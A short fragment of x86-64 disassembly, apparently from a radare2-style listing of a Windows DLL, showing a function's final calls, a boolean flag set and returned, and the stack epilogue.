call fcn.180004920
mov rdx, qword [rbp - 0x50]
mov rcx, qword [rbp - 0x18]
call fcn.180004a10
jmp 0x1800023d4
lea rcx, [rbp - 0x48]
call fcn.180004780
mov byte [rbp - 9], 1
jmp 0x1800023e6
mov al, byte [rbp - 9]
and al, 1
movzx eax, al
add rsp, 0x70
pop rbp
ret